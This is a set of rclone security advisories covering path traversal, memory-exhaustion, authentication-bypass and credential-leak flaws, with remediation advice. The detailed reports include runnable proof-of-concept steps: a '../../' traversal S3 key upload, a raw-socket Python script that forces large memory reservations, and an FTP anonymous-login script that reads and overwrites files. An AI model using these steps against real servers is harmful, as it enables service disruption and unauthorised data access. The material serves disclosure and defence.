Rclone from 1.56.0 before 1.76.0 contains a timing side-channel vulnerability in its htpasswd authentication middleware that allows unauthenticated attackers to enumerate valid usernames. Attackers can send HTTP Basic Auth requests with wrong passwords and measure response times, because bcrypt verification runs only for existing users, enabling targeted password guessing.
Rclone from 1.56.0 before 1.76.0 contains a timing side-channel vulnerability in its htpasswd authentication middleware that allows unauthenticated attackers to enumerate valid usernames. Attackers can send HTTP Basic Auth requests with wrong passwords and measure response times, because bcrypt verification runs only for existing users, enabling targeted password guessing.
Rclone from 1.46.0 before 1.76.0 contains a memory exhaustion vulnerability in the remote control server that allows unauthenticated clients to crash rclone by sending oversized JSON bodies. Attackers can POST large JSON payloads to protected RC methods, which handlePost decodes before authorization checks, triggering out-of-memory termination and interrupting transfers.
Rclone from 1.46.0 before 1.76.0 contains a memory exhaustion vulnerability in the remote control server that allows unauthenticated clients to crash rclone by sending oversized JSON bodies. Attackers can POST large JSON payloads to protected RC methods, which handlePost decodes before authorization checks, triggering out-of-memory termination and interrupting transfers.
rclone 1.67.0 before 1.76.0 contains a credential leak vulnerability in the Ulozto backend that sends X-Auth-Token and X-User-Token headers to unintended hosts on HTTP redirect because downloads use the authenticated f.rest client instead of f.cdn. Attackers who can observe or redirect CDN download traffic can capture the long-lived API key and session token to gain persistent access to the victim's Ulozto storage.
rclone 1.67.0 before 1.76.0 contains a credential leak vulnerability in the Ulozto backend that sends X-Auth-Token and X-User-Token headers to unintended hosts on HTTP redirect because downloads use the authenticated f.rest client instead of f.cdn. Attackers who can observe or redirect CDN download traffic can capture the long-lived API key and session token to gain persistent access to the victim's Ulozto storage.
Rclone 1.49.0 before 1.76.0 contains an improper authentication vulnerability in Proxy.Call that lets revoked users keep access because cached auth-proxy answers are never revalidated. Revoked users of serve sftp, ftp, http, or webdav can reconnect within five minutes using their original credentials to retain access indefinitely.
Rclone 1.49.0 before 1.76.0 contains an improper authentication vulnerability in Proxy.Call that lets revoked users keep access because cached auth-proxy answers are never revalidated. Revoked users of serve sftp, ftp, http, or webdav can reconnect within five minutes using their original credentials to retain access indefinitely.
Rclone from 1.51.0 before 1.76.0 contains an authentication bypass vulnerability in serve sftp --auth-proxy because the generateCacheKey cache key omits the authentication method. Attackers knowing a victim's base64 public key can submit it as a password from the same client IP to reuse the cached entry and gain read-write VFS access.
Rclone from 1.51.0 before 1.76.0 contains an authentication bypass vulnerability in serve sftp --auth-proxy because the generateCacheKey cache key omits the authentication method. Attackers knowing a victim's base64 public key can submit it as a password from the same client IP to reuse the cached entry and gain read-write VFS access.
rclone before 1.76.0 leaks credentials in its swift, netstorage and seafile backends, which follow HTTP redirects using Go's default policy: swift and netstorage send auth headers or passwords on cross-host or HTTPS-to-HTTP redirects, and seafile sends API tokens or passwords on same-host HTTPS-to-HTTP redirects. Attackers receiving or observing a redirect issued by the configured endpoint can capture these credentials to access storage or replay signed requests.
rclone before 1.76.0 leaks credentials in its swift, netstorage and seafile backends, which follow HTTP redirects using Go's default policy: swift and netstorage send auth headers or passwords on cross-host or HTTPS-to-HTTP redirects, and seafile sends API tokens or passwords on same-host HTTPS-to-HTTP redirects. Attackers receiving or observing a redirect issued by the configured endpoint can capture these credentials to access storage or replay signed requests.
rclone from 1.59.0 before 1.76.0 contains a confinement escape in the local backend's setXattr function that lets attackers write user. extended attributes outside the destination root via a planted symlink. Attackers who plant a symlink to an outside directory with a pre-existing child can use --links --metadata operations to set attacker-chosen user. xattrs on files outside the destination.
rclone from 1.59.0 before 1.76.0 contains a confinement escape in the local backend's setXattr function that lets attackers write user. extended attributes outside the destination root via a planted symlink. Attackers who plant a symlink to an outside directory with a pre-existing child can use --links --metadata operations to set attacker-chosen user. xattrs on files outside the destination.
rclone serve s3 versions 1.75.0 before 1.75.2 contain an integer overflow vulnerability in multipart reorder-memory accounting that bypasses the configured buffer limit. Attackers can open two concurrent current-part PUT requests declaring huge lengths to wrap the signed int64 counter and retain out-of-order parts in memory, exhausting the host.
Rclone from v1.68.0 before v1.75.2 contains an authorization bypass vulnerability in serve s3 --auth-proxy that allows authenticated tenants to manipulate other tenants' multipart uploads by referencing their upload IDs. Attackers who learn a victim's bucket, object, and upload ID can inject parts, complete, or abort in-flight uploads and view upload and object metadata across tenants.
Rclone before 1.75.2 contains a path traversal vulnerability in the local backend's translateLink function, which trims the .rclonelink suffix from a path after the containment check, so a name can resolve outside the destination root. Attackers can plant a directory named ...rclonelink in a source tree synced with --links and --metadata to change ownership, timestamps, and xattrs of the destination's parent directory.
Rclone from 1.64.0 before 1.75.2 contains an authentication bypass vulnerability in serve webdav that lets unauthenticated attackers skip authentication by sending OPTIONS requests. Attackers can probe arbitrary paths and compare Allow header values to determine whether files or collections exist, enabling namespace enumeration.
Rclone before 1.75.2 contains a path traversal vulnerability in serve webdav that allows unauthenticated attackers to write above the served root by sending an unvalidated '..' path component. Attackers can send MKCOL /.. to plant a VFS node, then PUT, MOVE, COPY, or MKCOL to create, overwrite, or delete files belonging to other tenants.
Rclone before v1.75.2 contains a credential exposure vulnerability in the b2 backend that leaks the live account Authorization token and SSE-C keys on HTTP redirects from --b2-download-url hosts. Attackers can observe a same-host HTTPS-to-HTTP downgrade redirect to capture the cleartext B2 token, or receive cross-host redirects disclosing SSE-C customer encryption keys.
rclone from 1.37 before 1.74.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to redirect http and netstorage backend requests by supplying a double-slash root on an existing named remote via --rc-serve. Attackers can make HEAD/GET requests to attacker-chosen hosts to read responses, capture configured custom headers, or obtain valid NetStorage request signatures.
Rclone from 1.52.0 before 1.75.2 contains a cross-site request forgery vulnerability in the pCloud backend's localhost OAuth callback, which disables the state check and trusts the hostname parameter. Malicious web pages can send a stateless request to port 53682 during authorization, planting attacker tokens and API hosts so later transfers reach the attacker.
rclone from 1.55.0 before 1.75.2 contains a signature verification bypass in stable selfupdate that trusts checksums from unsigned bytes preceding the PGP-clearsigned SHA256SUMS block. Attackers controlling the release distribution path can prepend an unsigned checksum line matching a malicious archive, causing selfupdate to install an attacker-controlled rclone executable.
rclone from v1.56.0 before v1.75.2 contains an information disclosure vulnerability in the WebDAV backend that forwards operator-configured custom credential headers to different hosts on HTTP 3xx redirects. Attackers who control or influence a cross-host redirect can capture headers such as X-Auth-Token set via --webdav-headers and replay them against the original WebDAV service.
rclone versions 1.56.0 through 1.75.0 contain a path traversal vulnerability in the rclone serve docker volume plugin. newVolume() in cmd/serve/docker/volume.go computes a volume's mountpoint as filepath.Join(drv.root, name) from the attacker-supplied name field of a Docker VolumeDriver.Create request without verifying that the result stays within drv.root (default /var/lib/docker-volumes/rclone), and checkMountpoint() then creates that directory with file.MkdirAll before mounting. A volume name containing enough .. components (e.g. "../../../../../../etc") therefore resolves outside the base directory, allowing anyone able to submit a VolumeDriver.Create request to the plugin socket — normally the Docker daemon, or a workload that can request named volumes in a multi-tenant orchestration setup — to make the privileged rclone plugin process create a directory and mount a remote filesystem specified in the same request at an arbitrary host path, shadowing or disrupting system directories. The advisory notes Volume.restoreState() had the same missing validation when reloading persisted volume state. Fixed in 1.75.1.
rclone before 1.75.1 fails to confine names from server and third-party listing responses to the listed directory, allowing path traversal sequences in object names. Attackers can craft special names containing forward slashes and parent directory references to potentially write outside the destination root, though downstream protections in the local backend currently block actual file escape.
Summary
Multiple backends, when given a specially crafted object to copy, can escape the backend confinement.
| Backend | Keep/Close | Per-backend severity | |---|---|---| | sftp | Medium | Real filesystem escape, fires under default encoding. | | smb | Low-Medium | Escapes to a different SMB share the credential can reach. | | ftp | Low | Real, leading-.. overshoot PoC is partly neutralized by encoding; escape bounded to at/below the login base. | | webdav | Low | Server-side ACLs are the real boundary. | | b2 | Low | Same-account sibling bucket crossing on a flat keyspace. | | swift | Low | Same, container. | | qingstor | Low | Same. | | oracleobjectstorage | Low | Same. | | internetarchive | Low | IA items are owner-writable only; confined to user's own items. | | storj | Low | Can retarget a different bucket in the same access grant. | | filelu | Low | Confined to the user's own account. | | shade | Low | Confined to the user's own drive. | | sia | Low | siad API password already grants full-daemon access. |
Root cause
rclone core does not sanitize .. in a source object's Remote() - verified: nothing in fs/march, fs/sync, fs/list, or fs/operations rejects .. segments before the name reaches the destination backend's Put/Update/Mkdir. Confinement is therefore each backend's responsibility, and these backends join root + remote without a check.
This divides into two classes:
- Bucket based backends - bucket.Split(path.Join(f.root, rootRelativePath)): - backend/b2/b2.go:404, backend/swift/swift.go:464, backend/qingstor/qingstor.go:198, backend/oracleobjectstorage/oracleobjectstorage.go:245, backend/internetarchive/internetarchive.go:1016, backend/smb/smb.go:885, backend/storj/fs.go:289. - path.Join collapses .. on the standard (ASCII) form before encoding is applied (e.g. FromStandardPath(path.Join(...)) at backend/b2/b2.go:1641), so EncodeDot never gets the chance to neutralize the ... - lib/bucket.Join does not clean paths (keeps .. as a literal key segment); path.Join does. backend/s3, backend/azureblob, backend/googlecloudstorage already use bucket.Join and are therefore not affected.
- Path based backends - path.Join(root, remote) onto a real path: - sftp: remotePath = path.Join(f.absRoot, f.opt.Enc.FromStandardPath(remote)) (backend/sftp/sftp.go:2497). Default encoding is encoder.Display (== Standard), and FromStandardPath short-circuits to a pass-through in that mode, so .. survives; f.absRoot is absolute, so path.Join("/home/user/root", "../../../../etc/passwd") -> /etc/passwd. - webdav: filePath at backend/webdav/webdav.go:426-432. - ftp: path.Join(f.root, remote) at ~14 sites (e.g. backend/ftp/ftp.go:1247). - filelu, shade, sia: analogous joins.
Precondition that limits reachability
For any of these to fire, a source must hand rclone a Remote() containing raw ... That is only possible when:
1. the source is a flat-keyspace object store (not a filesystem - a local/sftp/smb source cannot represent ../../x as one directory entry), and 2. the offending key was written with native, non-rclone tooling - rclone's own writer applies EncodeDot and rewrites a .. segment to fullwidth .., so you cannot create such a key through rclone.
rclone's source-side listing does pass a natively-planted raw .. key through unchanged (verified for b2: remote := file.Name[len(prefix):] after ToStandardPath, backend/b2/b2.go:858,867). The reports never establish this precondition; it is the same omission across every member of the class.
Example attack
bash Step 1 - attacker, using NATIVE S3 tooling (NOT rclone) on a source the victim ingests from: aws s3api put-object --bucket shared-drop --key '../../victim-backups/pwned.txt' --body evil.txt
Step 2 - victim's ordinary ingest: rclone copy s3-drop:shared-drop b2:victim-uploads/incoming path.Join("victim-uploads/incoming", "../../victim-backups/pwned.txt") = "victim-backups/pwned.txt" -> lands in the victim's victim-backups bucket instead of under incoming/
The blast radius is the victim's own account (a bucket/share/path the configured credential already reaches) - integrity misdirection, not a cross-tenant or confidentiality breach. sftp/smb are the exception in reach (server filesystem / other share), still bounded by the login's own permissions.
Precedent
This is the same class as the already-fixed local backend advisory https://github.com/rclone/rclone/security/advisories/GHSA-7p4m-qxvv-g567, which added (Fs).localPath returning errPathEscapes for names resolving outside the root (backend/local/local.go:819-826). That fix was justified because the destination was the operator's own OS filesystem; the same reasoning extends (at lower severity) to sftp/smb.
Summary
In streamed multipart mode, serve s3 passes the request's declared part length to multipart.NewRW().Reserve(contentLength) before reading any part data. Reserve immediately obtains enough 1 MiB pool pages for the entire declared length. The request handler therefore allocates attacker-selected memory based only on Content-Length or X-Amz-Decoded-Content-Length; the client does not need to transmit the corresponding body.
--multipart-streaming-buffer-limit does not stop the allocation for the current expected part or for one oversized part when the buffer is empty. That exception is intentional to guarantee upload progress, and the flag's short help is scoped to out-of-order parts; this report therefore does not treat the option as a total memory cap. The security issue is the absence of a separate safe maximum or incremental allocation: a small request header can cause an arbitrarily large reservation and exhaust the process or host.
The default S3 configuration allows anonymous access when no authkey is set, so an unauthenticated network client can reach the path in such deployments. Authenticated deployments require a valid S3 credential. Confirmed affected targets are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e, both of which include streamed multipart support.
Affected Assets & Attack Surface
- cmd/serve/s3/s3.go:40-46 defines the streaming buffer limit and describes it as a limit for out-of-order parts. - cmd/serve/s3/server.go:67-101 permits anonymous requests when AuthKey is empty and configures S3 authentication otherwise. - cmd/serve/s3/multipart.go:183-209 admits the declared part size and calls Reserve(contentLength) before io.Copy reads the body. - cmd/serve/s3/multipart.go:220-238 always admits the current expected part and one oversized part when the buffer is empty, even when size > bufferLimit. - lib/multipart/multipart.go:23-24 creates an RW backed by the global memory pool. - lib/pool/readerwriter.go:64-76 rounds the declared length to pool pages and immediately calls GetN. - lib/pool/pool.go:18-23 sets the global pool page size to 1 MiB. - lib/pool/pool.go:223-260 allocates every requested page in GetN. - github.com/rclone/gofakes3@v0.0.7/gofakes3.go:952-1004 parses the request length without an upper bound, including the decoded-length header used for streaming signatures. - github.com/rclone/gofakes3@v0.0.7/gofakes3.go:1021-1023 passes the declared length and unread request body to rclone's streaming UploadPart implementation. - Network attack surface: S3 CreateMultipartUpload followed by UploadPart against a backend eligible for streamed multipart uploads.
Technical Root Cause Analysis
The admission counter and the allocator both use the attacker-controlled contentLength, while the admission rules allow the current part regardless of its size:
go if up.bufferLimit <= 0 || partNumber <= up.nextPart || up.buffered == 0 || up.buffered+size <= up.bufferLimit { up.buffered += size return nil }
Part 1 of a new upload satisfies both partNumber <= up.nextPart and up.buffered == 0, regardless of size. UploadPart then executes:
go rw := multipart.NewRW().Reserve(contentLength)
Reserve calculates the page count and calls pool.GetN. With the default global pool, GetN allocates a 1 MiB byte slice for every missing page. This occurs before io.Copy attempts to read the request body.
The HTTP layer does not independently cap a multipart part length. GoFakeS3 accepts Content-Length as an int64; signed streaming requests can replace it with X-Amz-Decoded-Content-Length. An attacker can send the headers and keep the body idle, retaining the reservation. Multiple uploads or connections multiply the effect.
The documented statement that memory is bounded by “parts in flight” is not an effective byte bound when one part can have an attacker-declared size and is fully preallocated. AWS's normal 5 GiB maximum part size would still be unsafe to reserve on most rclone hosts, and this dependency path does not enforce that maximum before allocation.
Setting the global --max-buffer-memory may change the symptom from allocation to waiting on the global semaphore. It is not a complete fix: the acquisition uses context.Background(), and a request larger than the semaphore capacity cannot ever acquire its requested weight, leaving a handler blocked until process termination.
Proof of Concept & Evidence
Bounded regression test
The following test proves both the limit bypass and immediate allocation without stressing the host. Add it as cmd/serve/s3/securityregressiontest.go:
go package s3
import ( "testing"
"github.com/rclone/rclone/lib/multipart" "github.com/rclone/rclone/lib/pool" "github.com/stretchr/testify/require" )
func TestOversizedCurrentPartReservation(t testing.T) { const ( limit = int64(1 << 20) // 1 MiB configured limit size = int64(16 << 20) // 16 MiB attacker declaration )
up := newMultipartUpload( "bucket", "object", "bucket/object", "bucket/object", nil, limit, )
require.NoError(t, up.waitForTurn(1, size)) require.Equal(t, size, up.buffered)
before := pool.Global().InUse() rw := multipart.NewRW().Reserve(size) t.Cleanup(func() { require.NoError(t, rw.Close()) }) after := pool.Global().InUse()
require.GreaterOrEqual(t, after-before, int(size/int64(pool.BufferSize)), ) }
Run:
sh go test ./cmd/serve/s3 -run '^TestOversizedCurrentPartReservation$' -count=1 -v
Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:
text === RUN TestOversizedCurrentPartReservation --- PASS: TestOversizedCurrentPartReservation (0.00s) PASS
The passing test means a 16 MiB current part is admitted against a 1 MiB limit and immediately consumes at least sixteen 1 MiB pool pages.
Loopback HTTP validation
Use a fresh process and a disposable root. The 64 MiB value below demonstrates the effect safely; do not substitute an out-of-memory value on a production host.
sh mkdir -p /tmp/rclone-s3-root/bucket
./rclone serve s3 /tmp/rclone-s3-root \ --addr 127.0.0.1:8080 \ --multipart-streaming-buffer-limit 1Mi
In another terminal:
sh python3 - <<'PY' import http.client import socket import time import xml.etree.ElementTree as ET from urllib.parse import quote
host = "127.0.0.1" port = 8080
Anonymous mode is intentional here and matches a supported default setup. c = http.client.HTTPConnection(host, port, timeout=5) c.request("POST", "/bucket/object?uploads", body=b"", headers={"Content-Length": "0"}) r = c.getresponse() body = r.read() assert r.status == 200, (r.status, body) uploadid = ET.fromstring(body).findtext("{}UploadId") assert uploadid c.close()
declared = 64 1024 1024 path = "/bucket/object?partNumber=1&uploadId=" + quote(uploadid, safe="")
s = socket.createconnection((host, port), timeout=5) s.sendall(( f"PUT {path} HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" f"Content-Length: {declared}\r\n" "Connection: close\r\n" "\r\n" ).encode("ascii"))
No body bytes are sent. Inspect the fresh rclone process while this waits: the handler has reserved 64 pool pages despite the 1 MiB reorder limit. time.sleep(5) s.close() PY
Closing the socket allows the handler to return IncompleteBody and release the pages. Keeping multiple sockets open retains multiple reservations. A sufficiently large declared length can terminate the process before a response is returned.
The final automated validation performed this sequence through the real HTTP listener rather than calling waitForTurn or Reserve directly:
- Started an anonymous serve s3 server on loopback with a local streaming-capable backend. - Set MultipartStreamingBufferLimit to 1 MiB. - Created a multipart upload with an HTTP POST and parsed its returned upload ID. - Recorded pool.Global().InUse() after upload creation. - Opened a raw TCP connection and sent an UploadPart request declaring Content-Length: 16777216. - Sent no request-body bytes. - Observed the in-use count increase by at least sixteen 1 MiB pages while the connection remained open. - Closed the connection, producing the expected short-body unexpected EOF log rather than completing an upload.
The central assertion was:
go const declared = int64(16 << 20) baseline := pool.Global().InUse()
connection, err := net.DialTimeout("tcp", server.Addr().String(), 5time.Second) require.NoError(t, err) , err = fmt.Fprintf(connection, "PUT %s HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n", partPath, server.Addr().String(), declared) require.NoError(t, err)
wantPages := int(declared / int64(pool.BufferSize)) require.Eventually(t, func() bool { return pool.Global().InUse()-baseline >= wantPages }, 5time.Second, 10time.Millisecond)
It passed on Windows/amd64 with Go 1.26.2:
text === RUN TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody NOTICE: serve s3: No auth provided so allowing anonymous access ERROR : serve s3: unexpected EOF --- PASS: TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody (0.06s)
This demonstrates network reachability, header-only amplification, admission beyond the configured 1 MiB reorder limit, and actual allocation. The test deliberately capped the reservation at 16 MiB; it did not attempt to exhaust the validation host. The same code path reserves pages linearly as the declared length increases.
Impact Assessment
A network client can force the S3 server to reserve memory proportional to an unverified request header before paying the bandwidth cost of sending the declared body. One large part can exceed the out-of-order buffering limit; concurrent uploads multiply memory consumption.
The directly observed primitive is memory reservation proportional to an unverified header before any body bytes arrive. At a sufficiently large declared length, or across concurrent requests, this can exhaust process or host memory, terminate the process, or permanently block request goroutines when the global memory semaphore cannot satisfy an oversized acquisition. Those outcomes cause loss of S3 service availability; no confidentiality or integrity impact is required.
Unauthenticated exploitation applies when the operator uses the documented anonymous S3 mode. With authkey, the attacker must possess an accepted key. Binding to loopback or a trusted management network removes untrusted network reachability but does not correct the resource-accounting defect.
Remediation Guidance
Do not reserve the declared content length before reading verified bytes. Separate the current in-order part from out-of-order buffering:
- For partNumber == nextPart, stream the request body directly into the upload pipe while computing MD5. This path does not need a full-part memory buffer merely to return the ETag after the body has streamed. - For out-of-order parts, allocate incrementally as body bytes arrive and charge each page against the per-upload budget before allocation. Apply backpressure, spool to a bounded temporary file, or reject the request when the budget is exhausted. - Remove Reserve(contentLength) from the untrusted HTTP path. If preallocation remains as an optimization, cap it to a small trusted amount and grow only after bytes are received and accounted. - Enforce an explicit maximum part size before allocation, including both Content-Length and X-Amz-Decoded-Content-Length. Match the intended S3 compatibility limit and return an S3-compatible error such as EntityTooLarge or InvalidRequest. - Reject negative, overflowing, or platform-int-unrepresentable page counts before arithmetic or conversion. - Apply a total server-wide budget across uploads in addition to the per-upload reorder budget. The budget acquisition must use the request context and must fail immediately when a single request exceeds capacity; do not wait forever on context.Background() for an impossible weight. - Limit concurrent multipart uploads and idle request-body time so a client cannot retain reservations indefinitely. - Reconcile the option documentation with the actual guarantee. If one part can exceed the reorder limit for compatibility, state that explicitly, but still enforce an independent safe maximum or incremental allocation.
Summary
serve/start accepts protocol options in a per-server proxyOpt object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global proxy.Opt.AuthProxy instead of the supplied proxyOpt.AuthProxy.
When the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username anonymous with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an authkey, any holder of that key reaches the fixed RC fs instead of the backend selected by the auth proxy.
The S3 no-authkey mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled.
Confirmed affected versions are v1.70.0 through v1.75.0, plus development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch.
Affected Assets & Attack Surface
- cmd/serve/rc.go:68-93 documents nested per-server proxyOpt support, including AuthProxy. - cmd/serve/rc.go:111-148 resolves the fixed fs and invokes the selected per-protocol RC constructor. - cmd/serve/ftp/ftp.go:96-116 parses the request-local proxyOpt and passes it to newServer. - cmd/serve/ftp/ftp.go:186-207 checks proxy.Opt.AuthProxy at line 202 instead of proxyOpt.AuthProxy; the false branch creates globalVFS from the RC-supplied filesystem. - cmd/serve/ftp/ftp.go:54-60 defines the fallback credentials as user anonymous and an empty password. - cmd/serve/ftp/ftp.go:318-349 accepts any password when the configured fallback password is empty. - cmd/serve/s3/s3.go:76-96 parses and passes the request-local S3 proxy options. - cmd/serve/s3/server.go:67-101 checks proxy.Opt.AuthProxy at line 91 and otherwise exposes the fixed VFS. S3 authentication through AuthKey remains separate from proxy-based backend selection. - Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends. - Configuration attack surface: rclone rc serve/start ... proxyOpt='{"AuthProxy":"..."}' or the equivalent JSON request.
Technical Root Cause Analysis
The serve implementation has two option scopes:
- proxy.Opt is process-global and is populated by command-line/global option parsing. - proxyOpt is a constructor argument populated from the individual serve/start request.
The RC adapters correctly create a local copy, apply the request parameters, and call newServer(..., &proxyOpt). Neither adapter mutates the global. The constructors then branch on the wrong value:
go // Current FTP and S3 pattern if proxy.Opt.AuthProxy != "" { // Uses proxyOpt only after the unrelated global check succeeds. serverProxy = proxy.New(ctx, proxyOpt, vfsOpt) } else { // Fail-open fixed-backend mode. }
Consequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse proxyOpt, and the generic serve/start documentation gives proxyOpt.AuthProxy as an example.
For FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured AuthKey. If no AuthKey is configured, anonymous S3 access is expected behavior and should not be cited as impact.
Proof of Concept & Evidence
The following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.
Build the inspected revision, then prepare a fixed filesystem and rejecting proxy:
sh mkdir -p /tmp/rclone-rc-root printf 'fixed-backend-secret\n' > /tmp/rclone-rc-root/secret.txt rm -f /tmp/rclone-auth-proxy-invoked
cat > /tmp/deny-rclone-proxy.sh <<'EOF' #!/bin/sh printf 'invoked\n' >> /tmp/rclone-auth-proxy-invoked cat >/dev/null exit 1 EOF chmod 700 /tmp/deny-rclone-proxy.sh
Start RC on loopback in one terminal:
sh ./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth
Start an FTP server with only the request-local auth proxy configured:
sh ./rclone rc --url http://127.0.0.1:5572 \ serve/start \ type=ftp \ fs=/tmp/rclone-rc-root \ proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' \ opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}'
Connect with the fallback credentials and exercise read and write access:
sh python3 - <<'PY' import ftplib import io
ftp = ftplib.FTP() ftp.connect("127.0.0.1", 2121, timeout=5) ftp.login("anonymous", "arbitrary-password")
data = bytearray() ftp.retrbinary("RETR secret.txt", data.extend) print(data.decode().strip())
ftp.storbinary("STOR overwritten.txt", io.BytesIO(b"attacker-controlled\n")) ftp.quit() PY
test ! -e /tmp/rclone-auth-proxy-invoked grep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt
Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:
- Login as anonymous succeeds with an arbitrary password. - secret.txt is returned from the fixed RC filesystem. - overwritten.txt is created in that filesystem. - The rejecting auth-proxy program is never invoked.
The equivalent automated network test, TestSecurityValidationRCPerServerAuthProxyFTP, called the actual serve/start RC handler, connected through github.com/jlaffaye/ftp, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2:
text === RUN TestSecurityValidationRCPerServerAuthProxyFTP --- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s)
Authenticated S3 backend-routing reproduction
This validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots:
sh mkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket printf 'fixed-backend-secret\n' > /tmp/rclone-s3-fixed/bucket/fixed-secret.txt printf 'proxy-backend-only\n' > /tmp/rclone-s3-proxy/bucket/proxy-only.txt
cat > /tmp/rclone-s3-route-proxy.py <<'PY' #!/usr/bin/env python3 import json import sys
json.load(sys.stdin) print(json.dumps({"type": "local", "root": "/tmp/rclone-s3-proxy"})) PY chmod 700 /tmp/rclone-s3-route-proxy.py
Using the same loopback RC process, start an authenticated S3 server:
sh ./rclone rc --url http://127.0.0.1:5572 serve/start --json '{ "type": "s3", "fs": "/tmp/rclone-s3-fixed", "addr": "127.0.0.1:8080", "authkey": ["validation-key,validation-secret"], "proxyOpt": { "AuthProxy": "python3 /tmp/rclone-s3-route-proxy.py" } }'
Send a correctly signed S3 request:
sh AWSACCESSKEYID=validation-key \ AWSSECRETACCESSKEY=validation-secret \ AWSDEFAULTREGION=us-east-1 \ aws --endpoint-url http://127.0.0.1:8080 \ s3api get-object \ --bucket bucket \ --key fixed-secret.txt \ /tmp/rclone-s3-result
grep -F fixed-backend-secret /tmp/rclone-s3-result
If the request-local proxy were active, fixed-secret.txt would not exist because the proxy selects /tmp/rclone-s3-proxy. Current code serves it from /tmp/rclone-s3-fixed. Conversely, a request for proxy-only.txt returns NoSuchKey.
The automated validation TestSecurityValidationRCPerServerAuthProxyS3Routing performed this sequence through the actual serve/start handler and a MinIO Signature V4 client. It used a valid AuthKey, fetched fixed-secret.txt, and confirmed that proxy-only.txt was absent:
text === RUN TestSecurityValidationRCPerServerAuthProxyS3Routing --- PASS: TestSecurityValidationRCPerServerAuthProxyS3Routing (0.17s)
This demonstrates backend-authorization bypass, not anonymous S3 access.
Impact Assessment
For RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to serve/start, subject only to VFS options such as readonly. This is a complete authentication bypass and grants capabilities the attacker did not previously possess.
For RC-started S3 servers that combine authkey with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. The resulting cross-backend disclosure or modification depends on what the RC caller supplied as fs and on the fixed filesystem's VFS permissions.
Exploitation does not require changing globals, controlling the RC endpoint, or using an unusual protocol extension. It requires an operator to use the documented per-server proxy option and expose the resulting FTP or S3 listener. CLI-started servers whose auth proxy is set globally are not affected.
Remediation Guidance
Change the mode checks in both constructors to use the option object passed to that server:
go if proxyOpt != nil && proxyOpt.AuthProxy != "" { d.proxy = proxy.New(ctx, proxyOpt, vfsOpt) // Do not create a fixed/global VFS in this mode. } else { d.globalVFS = vfs.New(ctx, f, vfsOpt) }
Apply the equivalent change in cmd/serve/s3/server.go. Do not copy the local option into the global as a workaround; multiple RC-started servers may intentionally use different auth proxies, and global mutation would introduce cross-server races and configuration leakage.
Also:
- Validate a nil or empty proxy command before constructing proxy mode and return a startup error rather than falling back. - In S3, make the “allowing anonymous access” log conditional on both the absence of AuthKey and the absence of an active auth proxy, so the log reflects the effective mode. - Add RC integration tests for FTP and S3 with global proxy.Opt.AuthProxy empty and nested proxyOpt.AuthProxy non-empty. - In the FTP test, use a rejecting proxy and assert that anonymous login fails and the proxy is invoked. - In the S3 test, configure AuthKey, map two access keys or proxy responses to distinct roots, and assert that a request never reaches the fixed RC fs. - Add a multi-server test proving that two simultaneous serve/start instances can use different proxy settings without consulting or mutating global state. - Audit other serve.AddRc implementations for the same pattern: parsing a request-local option but branching on its global counterpart.
Summary rclone serve s3's handler chain, when --auth-proxy is configured, is (outermost first): authPairMiddleware -> proxyAuthMiddleware -> gofakes3's own SigV4-verifying handler.
authPairMiddleware parses the accessKeyID straight out of the incoming request's own Authorization header (entirely client-controlled) and registers {accessKey: ws.s3Secret} into gofakes3's shared credential store via AddAuthKeys, for EVERY access key any client presents - not just ones previously known to the server. ws.s3Secret defaults to "" whenever --auth-key is not set, which the --auth-proxy documentation (and the reference bin/testproxy.py) presents as a complete, standalone authentication mechanism requiring no other flag - matching how it's used for serve webdav/ftp/sftp.
gofakes3's SigV4 verification then checks the request's signature against exactly the secret authPairMiddleware just registered for that same client-chosen key. An empty string is a valid HMAC key, so a caller can trivially compute a correct SigV4 signature for ANY access key ID of their choosing using an empty secret, and verification passes.
Crucially, the auth-proxy script never receives a real secret to verify against, for S3 specifically: Server.auth() calls w.proxy.Call(md5(accessKeyID), accessKeyID, false, r.RemoteAddr) - passing the access key ID itself as BOTH the hashed "user" and the raw "auth"/password fields. Contrast with serve webdav/ftp/sftp, whose proxy integration passes the client's actual typed password (see bin/testproxy.py, which forwards it into a backing SFTP login for real verification). For S3, no independent secret is ever transmitted to the proxy script at all, so no script - however carefully written - can distinguish a legitimate holder of an access key ID from an attacker who merely picked the same string.
Net effect: with --auth-proxy configured and --auth-key not also set (the configuration the feature is documented to support standalone), SigV4 signature verification authenticates nobody.
